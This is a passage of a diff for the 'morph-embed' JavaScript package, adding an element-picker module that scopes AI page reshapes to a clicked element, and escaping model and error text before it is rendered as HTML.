els = els.filter((el) => !URL_RETARGET_BLOCK_TAGS.has(String(el.tagName || '').toLowerCase()));
|
|
956
|
+
}
|
|
913
957
|
if (!els.length) return { touched: 0 };
|
|
914
958
|
const prev = els.map((el) => (el.hasAttribute(op.name) ? el.getAttribute(op.name) : null));
|
|
915
959
|
els.forEach((el) => { el.setAttribute(op.name, op.value); reconAdd(el, token); });
|
|
@@ -2269,7 +2313,9 @@
|
|
|
2269
2313
|
function aimActive(on) { if (els && els.aim) els.aim.classList.toggle('on', !!on); }
|
|
2270
2314
|
|
|
2271
2315
|
window.Morph.bar = {
|
|
2272
|
-
|
|
2316
|
+
// No onPick handler -> no picker in this embedding: hide the ⌖ button so
|
|
2317
|
+
// users never see a dead control (the extension always passes onPick).
|
|
2318
|
+
mount(h) { handlers = h || {}; if (!host) build(); if (els && els.aim) els.aim.style.display = handlers.onPick ? '' : 'none'; },
|
|
2273
2319
|
show, hide, toggle,
|
|
2274
2320
|
setStatus, clearStatus, setBusy, showActions,
|
|
2275
2321
|
isVisible: () => visible,
|
|
@@ -2289,6 +2335,152 @@
|
|
|
2289
2335
|
})();
|
|
2290
2336
|
|
|
2291
2337
|
|
|
2338
|
+
/* ---- extension/src/picker.js ---- */
|
|
2339
|
+
/*
|
|
2340
|
+
* Element picker — lets the user click a specific element on the page so the next
|
|
2341
|
+
* reshape is scoped to it (and its descendants) instead of the model guessing
|
|
2342
|
+
* selectors across the whole page.
|
|
2343
|
+
*
|
|
2344
|
+
* start(onPick, onCancel) : enter pick mode (hover highlights, click selects, Esc cancels)
|
|
2345
|
+
* stop() : leave pick mode
|
|
2346
|
+
* selectorFor(el, doc) : PURE — a stable-ish unique CSS selector for el
|
|
2347
|
+
* describe(el) : PURE — a short human label for el
|
|
2348
|
+
*
|
|
2349
|
+
* Attaches to window.Morph.picker. Pure helpers are CJS-exported for tests.
|
|
2350
|
+
*/
|
|
2351
|
+
(function () {
|
|
2352
|
+
'use strict';
|
|
2353
|
+
window.Morph = window.Morph || {};
|
|
2354
|
+
|
|
2355
|
+
// Prefer the spec-correct native CSS.escape (all modern browsers have it). Fall
|
|
2356
|
+
// back (e.g. jsdom / very old engines) to a regex that backslash-escapes any
|
|
2357
|
+
// non-identifier char AND escapes a leading digit per the CSS spec — otherwise
|
|
2358
|
+
// an id like "2col" yields the INVALID selector "#2col", which throws at
|
|
2359
|
+
// querySelectorAll and forces a weaker, possibly non-unique path.
|
|
2360
|
+
function cssEscape(s) {
|
|
2361
|
+
s = String(s);
|
|
2362
|
+
if (typeof window !== 'undefined' && window.CSS && typeof window.CSS.escape === 'function') {
|
|
2363
|
+
return window.CSS.escape(s);
|
|
2364
|
+
}
|
|
2365
|
+
return s.replace(/[^a-zA-Z0-9_-]/g, (c) => '\\' + c).replace(/^([0-9])/, (m, d) => '\\3' + d + ' ');
|
|
2366
|
+
}
|
|
2367
|
+
|
|
2368
|
+
// A reasonably-unique selector: prefer a unique #id (anchoring the path there if
|
|
2369
|
+
// an ancestor has one), else a short `>`-path with :nth-of-type disambiguation.
|
|
2370
|
+
function selectorFor(el, doc) {
|
|
2371
|
+
doc = doc || (el && el.ownerDocument) || (typeof document !== 'undefined' ? document : null);
|
|
2372
|
+
if (!el || el.nodeType !== 1 || !doc) return '';
|
|
2373
|
+
if (el.id) {
|
|
2374
|
+
const sel = '#' + cssEscape(el.id);
|
|
2375
|
+
try { if (doc.querySelectorAll(sel).length === 1) return sel; } catch (_) { /* keep going */ }
|
|
2376
|
+
}
|
|
2377
|
+
const parts = [];
|
|
2378
|
+
let node = el;
|
|
2379
|
+
let depth = 0;
|
|
2380
|
+
while (node && node.nodeType === 1 && node !== doc.body && node !== doc.documentElement && depth < 6) {
|
|
2381
|
+
if (node.id) {
|
|
2382
|
+
const idSel = '#' + cssEscape(node.id);
|
|
2383
|
+
let unique = false;
|
|
2384
|
+
try { unique = doc.querySelectorAll(idSel).length === 1; } catch (_) { unique = false; }
|
|
2385
|
+
if (unique) { parts.unshift(idSel); return parts.join(' > '); }
|
|
2386
|
+
}
|
|
2387
|
+
let part = node.tagName.toLowerCase();
|
|
2388
|
+
const parent = node.parentNode;
|
|
2389
|
+
if (parent && parent.children) {
|
|
2390
|
+
const sameTag = Array.prototype.filter.call(parent.children, (c) => c.tagName === node.tagName);
|
|
2391
|
+
if (sameTag.length > 1) part += ':nth-of-type(' + (sameTag.indexOf(node) + 1) + ')';
|
|
2392
|
+
}
|
|
2393
|
+
parts.unshift(part);
|
|
2394
|
+
node = node.parentNode;
|
|
2395
|
+
depth++;
|
|
2396
|
+
}
|
|
2397
|
+
return parts.join(' > ');
|
|
2398
|
+
}
|
|
2399
|
+
|
|
2400
|
+
function describe(el) {
|
|
2401
|
+
if (!el || el.nodeType !== 1) return 'element';
|
|
2402
|
+
let s = el.tagName.toLowerCase();
|
|
2403
|
+
if (el.id) s += '#' + el.id;
|
|
2404
|
+
else if (el.classList && el.classList.length) s += '.' + el.classList[0];
|
|
2405
|
+
const text = (el.textContent || '').replace(/\s+/g, ' ').trim().slice(0, 24);
|
|
2406
|
+
if (text) s += ' “' + text + '”';
|
|
2407
|
+
return s;
|
|
2408
|
+
}
|
|
2409
|
+
|
|
2410
|
+
// --- interactive pick mode (needs a live DOM) -----------------------------
|
|
2411
|
+
let active = false, overlay = null, current = null, pickCb = null, cancelCb = null;
|
|
2412
|
+
|
|
2413
|
+
function ensureOverlay() {
|
|
2414
|
+
if (overlay) return overlay;
|
|
2415
|
+
overlay = document.createElement('div');
|
|
2416
|
+
overlay.setAttribute('data-morph-pick-overlay', '1');
|
|
2417
|
+
const s = overlay.style;
|
|
2418
|
+
s.position = 'fixed'; s.zIndex = '2147483646'; s.pointerEvents = 'none';
|
|
2419
|
+
s.border = '2px solid #ffffff'; s.boxShadow = '0 0 0 1px #000, 0 0 0 4px rgba(255,255,255,0.25)';
|
|
2420
|
+
s.background = 'rgba(255,255,255,0.06)'; s.borderRadius = '2px'; s.display = 'none';
|
|
2421
|
+
s.transition = 'left .04s linear, top .04s linear, width .04s linear, height .04s linear';
|
|
2422
|
+
return overlay;
|
|
2423
|
+
}
|
|
2424
|
+
|
|
2425
|
+
// Never let the picker target Morph's own UI (the bar host or this overlay).
|
|
2426
|
+
function isOurs(el) {
|
|
2427
|
+
try { return !!(el && el.closest && el.closest('#morph-host-root, [data-morph-pick-overlay]')); }
|
|
2428
|
+
catch (_) { return false; }
|
|
2429
|
+
}
|
|
2430
|
+
|
|
2431
|
+
function moveOverlay(el) {
|
|
2432
|
+
const r = el.getBoundingClientRect();
|
|
2433
|
+
const s = overlay.style;
|
|
2434
|
+
s.display = 'block';
|
|
2435
|
+
s.left = r.left + 'px'; s.top = r.top + 'px'; s.width = r.width + 'px'; s.height = r.height + 'px';
|
|
2436
|
+
}
|
|
2437
|
+
|
|
2438
|
+
function onMove(e) {
|
|
2439
|
+
const el = e.target;
|
|
2440
|
+
if (!el || isOurs(el)) { overlay.style.display = 'none'; current = null; return; }
|
|
2441
|
+
current = el;
|
|
2442
|
+
try { moveOverlay(el); } catch (_) { /* never break the page */ }
|
|
2443
|
+
}
|
|
2444
|
+
function onClick(e) {
|
|
2445
|
+
if (isOurs(e.target)) return; // let our own UI receive clicks
|
|
2446
|
+
e.preventDefault(); e.stopPropagation();
|
|
2447
|
+
finish(current || e.target);
|
|
2448
|
+
}
|
|
2449
|
+
function onKey(e) { if (e.key === 'Escape') { e.preventDefault(); cancel(); } }
|
|
2450
|
+
|
|
2451
|
+
function teardown() {
|
|
2452
|
+
active = false; current = null;
|
|
2453
|
+
try {
|
|
2454
|
+
document.removeEventListener('mousemove', onMove, true);
|
|
2455
|
+
document.removeEventListener('click', onClick, true);
|
|
2456
|
+
document.removeEventListener('keydown', onKey, true);
|
|
2457
|
+
if (document.documentElement) document.documentElement.style.cursor = '';
|
|
2458
|
+
if (overlay) overlay.style.display = 'none';
|
|
2459
|
+
} catch (_) { /* noop */ }
|
|
2460
|
+
}
|
|
2461
|
+
function finish(el) { const cb = pickCb; teardown(); if (cb) { try { cb(el); } catch (_) {} } }
|
|
2462
|
+
function cancel() { const cb = cancelCb; teardown(); if (cb) { try { cb(); } catch (_) {} } }
|
|
2463
|
+
|
|
2464
|
+
function start(onPick, onCancel) {
|
|
2465
|
+
if (active) return;
|
|
2466
|
+
active = true; pickCb = onPick; cancelCb = onCancel;
|
|
2467
|
+
try {
|
|
2468
|
+
ensureOverlay();
|
|
2469
|
+
(document.body || document.documentElement).appendChild(overlay);
|
|
2470
|
+
document.addEventListener('mousemove', onMove, true);
|
|
2471
|
+
document.addEventListener('click', onClick, true);
|
|
2472
|
+
document.addEventListener('keydown', onKey, true);
|
|
2473
|
+
if (document.documentElement) document.documentElement.style.cursor = 'crosshair';
|
|
2474
|
+
} catch (_) { teardown(); }
|
|
2475
|
+
}
|
|
2476
|
+
function stop() { teardown(); }
|
|
2477
|
+
function isActive() { return active; }
|
|
2478
|
+
|
|
2479
|
+
window.Morph.picker = { start, stop, isActive, selectorFor, describe };
|
|
2480
|
+
if (typeof module !== 'undefined' && module.exports) module.exports = { selectorFor, describe };
|
|
2481
|
+
})();
|
|
2482
|
+
|
|
2483
|
+
|
|
2292
2484
|
/* ---- sdk/src/ui.js ---- */
|
|
2293
2485
|
/*
|
|
2294
2486
|
* Morph SDK — UI layer: launcher + edits panel + undo toast, isolated in a
|
|
@@ -2666,6 +2858,7 @@
|
|
|
2666
2858
|
const store = deps.store;
|
|
2667
2859
|
const bar = deps.bar;
|
|
2668
2860
|
const ui = deps.ui || null;
|
|
2861
|
+
const picker = deps.picker || null;
|
|
2669
2862
|
const extractContext = deps.extractContext;
|
|
2670
2863
|
const fetchFn = deps.fetchFn;
|
|
2671
2864
|
const stageDelays = deps.stageDelays || STAGE_DELAYS;
|
|
@@ -2699,10 +2892,68 @@
|
|
|
2699
2892
|
}
|
|
2700
2893
|
backend = (typeof config.backend === 'string' && config.backend)
|
|
2701
2894
|
? config.backend.replace(/\/$/, '') : DEFAULT_BACKEND;
|
|
2702
|
-
bar
|
|
2895
|
+
// onPick only when a picker exists — the bar hides the ⌖ button when
|
|
2896
|
+
// no handler is passed, so users never see a dead control.
|
|
2897
|
+
const handlers = { onSubmit, onUndo, onHide };
|
|
2898
|
+
if (picker) handlers.onPick = onPick;
|
|
2899
|
+
bar.mount(handlers);
|
|
2703
2900
|
return api;
|
|
2704
2901
|
}
|
|
2705
2902
|
|
|
2903
|
+
// ---- element targeting (mirrors extension/src/content.js) --------------
|
|
2904
|
+
let activeTarget = null; // { selector, label } while the user has a pick
|
|
2905
|
+
|
|
2906
|
+
function escapeHtml(s) {
|
|
2907
|
+
return String(s).replace(/&/g, '&').replace(/</g, '<').replace(/>/g, '>');
|
|
2908
|
+
}
|
|
2909
|
+
function outlineTarget(el) {
|
|
2910
|
+
try {
|
|
2911
|
+
if (!win.document.getElementById('morph-sdk-target-style')) {
|
|
2912
|
+
const st = win.document.createElement('style');
|
|
2913
|
+
st.id = 'morph-sdk-target-style';
|
|
2914
|
+
st.textContent = '[data-morph-targeted="1"]{outline:2px solid #4c8dff !important;outline-offset:2px !important;}';
|
|
2915
|
+
win.document.documentElement.appendChild(st);
|
|
2916
|
+
}
|
|
2917
|
+
el.setAttribute('data-morph-targeted', '1');
|
|
2918
|
+
} catch (_) { /* cosmetic only */ }
|
|
2919
|
+
}
|
|
2920
|
+
function clearTargetState() {
|
|
2921
|
+
activeTarget = null;
|
|
2922
|
+
try {
|
|
2923
|
+
const el = win.document.querySelector('[data-morph-targeted="1"]');
|
|
2924
|
+
if (el) el.removeAttribute('data-morph-targeted');
|
|
2925
|
+
} catch (_) { /* noop */ }
|
|
2926
|
+
try { bar.clearTarget(); } catch (_) { /* bar optional */ }
|
|
2927
|
+
}
|
|
2928
|
+
function targetHtml() {
|
|
2929
|
+
try {
|
|
2930
|
+
const el = activeTarget && win.document.querySelector(activeTarget.selector);
|
|
2931
|
+
return el ? String(el.outerHTML).slice(0, 4000) : '';
|
|
2932
|
+
} catch (_) { return ''; }
|
|
2933
|
+
}
|
|
2934
|
+
function onPick() {
|
|
2935
|
+
if (!picker || !picker.start) return;
|
|
2936
|
+
try { bar.setStatus('Click any element on the page to target it — Esc to cancel.', ''); } catch (_) { /* noop */ }
|
|
2937
|
+
picker.start((el) => {
|
|
2938
|
+
try {
|
|
2939
|
+
const selector = picker.selectorFor(el, win.document);
|
|
2940
|
+
if (!selector) { bar.setStatus('Couldn’t target that element — try another.', 'err'); return; }
|
|
2941
|
+
activeTarget = { selector, label: picker.describe(el) };
|
|
2942
|
+
outlineTarget(el);
|
|
2943
|
+
bar.setTarget({ label: activeTarget.label, onClear: clearTargetState });
|
|
2944
|
+
bar.setStatus('Targeting <b>' + escapeHtml(activeTarget.label) + '</b>. Now type how to change it.', 'ok');
|
|
2945
|
+
if (bar.focusInput) bar.focusInput();
|
|
2946
|
+
} catch (_) { /* never break the page */ }
|
|
2947
|
+
}, () => {
|
|
2948
|
+
try { bar.aimActive(false); bar.setStatus('Pick cancelled.', ''); } catch (_) { /* noop */ }
|
|
2949
|
+
});
|
|
2950
|
+
}
|
|
2951
|
+
// Closing the bar ends targeting: cancel any in-progress pick, drop the chip.
|
|
2952
|
+
function onHide() {
|
|
2953
|
+
try { if (picker && picker.stop) picker.stop(); } catch (_) { /* noop */ }
|
|
2954
|
+
clearTargetState();
|
|
2955
|
+
}
|
|
2956
|
+
|
|
2706
2957
|
// Confirm gate for actions. window.confirm is trusted browser chrome the
|
|
2707
2958
|
// page can't spoof; a bar-styled dialog can replace it later.
|
|
2708
2959
|
function confirmFn(name, description) {
|
|
@@ -2716,7 +2967,7 @@
|
|
|
2716
2967
|
() => { try { bar.setStatus('✓ Action "' + name + '" done.', 'ok'); } catch (_) { /* bar gone */ } },
|
|
2717
2968
|
(e) => {
|
|
2718
2969
|
const msg = String((e && e.message) || e);
|
|
2719
|
-
try { bar.setStatus(/declined/.test(msg) ? 'Action cancelled.' : 'Action failed: ' + msg, /declined/.test(msg) ? '' : 'err'); } catch (_) { /* bar gone */ }
|
|
2970
|
+
try { bar.setStatus(/declined/.test(msg) ? 'Action cancelled.' : 'Action failed: ' + escapeHtml(msg), /declined/.test(msg) ? '' : 'err'); } catch (_) { /* bar gone */ }
|
|
2720
2971
|
}
|
|
2721
2972
|
);
|
|
2722
2973
|
}
|
|
@@ -2797,6 +3048,7 @@
|
|
|
2797
3048
|
let resp;
|
|
2798
3049
|
try {
|
|
2799
3050
|
const body = { prompt, context, url: win.location.href };
|
|
3051
|
+
if (activeTarget) body.target = { selector: activeTarget.selector, html: targetHtml() };
|
|
2800
3052
|
if (registry.hasSources() || registry.hasActions()) body.manifests = registry.manifests();
|
|
2801
3053
|
const r = await fetchFn(backend + '/api/transform', {
|
|
2802
3054
|
method: 'POST',
|
|
@@ -2810,7 +3062,7 @@
|
|
|
2810
3062
|
resp = await r.json();
|
|
2811
3063
|
} catch (e) {
|
|
2812
3064
|
clearStages();
|
|
2813
|
-
try { bar.setBusy(false); bar.setStatus('Could not reach Morph: ' + String((e && e.message) || e), 'err'); } catch (_) { /* noop */ }
|
|
3065
|
+
try { bar.setBusy(false); bar.setStatus('Could not reach Morph: ' + escapeHtml(String((e && e.message) || e)), 'err'); } catch (_) { /* noop */ }
|
|
2814
3066
|
return;
|
|
2815
3067
|
}
|
|
2816
3068
|
clearStages();
|
|
@@ -2839,7 +3091,9 @@
|
|
|
2839
3091
|
const edit = await store.appendEdit(pathKey(), anchored, { prompt });
|
|
2840
3092
|
const note = handle.failed ? ' (' + handle.failed + ' op(s) skipped)' : '';
|
|
2841
3093
|
const explanation = (resp.transform && resp.transform.explanation) || 'Done.';
|
|
2842
|
-
|
|
3094
|
+
// setStatus renders TRUSTED HTML (innerHTML) — escape the model's
|
|
3095
|
+
// free-text explanation, exactly as the extension does (content.js).
|
|
3096
|
+
bar.setStatus('✓ ' + escapeHtml(explanation) + ' Saved for this page.' + note, 'ok');
|
|
2843
3097
|
bar.showActions(true);
|
|
2844
3098
|
try { bar.clearInput(); } catch (_) { /* noop */ }
|
|
2845
3099
|
await refreshCount();
|
|
@@ -2965,7 +3219,8 @@
|
|
|
2965
3219
|
});
|
|
2966
3220
|
const embed = createEmbed({
|
|
2967
3221
|
config, win: window, DSL: window.MorphDSL, registry, store,
|
|
2968
|
-
bar: window.Morph.bar, ui,
|
|
3222
|
+
bar: window.Morph.bar, ui, picker: window.Morph.picker,
|
|
3223
|
+
extractContext: window.Morph.extractContext,
|
|
2969
3224
|
fetchFn: doFetch, compose: window.MorphStorage.composeEdits,
|
|
2970
3225
|
});
|
|
2971
3226
|
embed.init();
|
package/package.json
CHANGED
|
@@ -1,6 +1,6 @@
|
|
|
1
1
|
{
|
|
2
2
|
"name": "morph-embed",
|
|
3
|
-
"version": "0.2.
|
|
3
|
+
"version": "0.2.2",
|
|
4
4
|
"description": "Embed a prompt bar in your product so users can generate the features you haven't built — real-data widgets, layout reshapes, and confirm-gated actions. Declarative-DSL security model; your data never leaves the page.",
|
|
5
5
|
"license": "MIT",
|
|
6
6
|
"main": "dist/morph-embed.esm.mjs",
|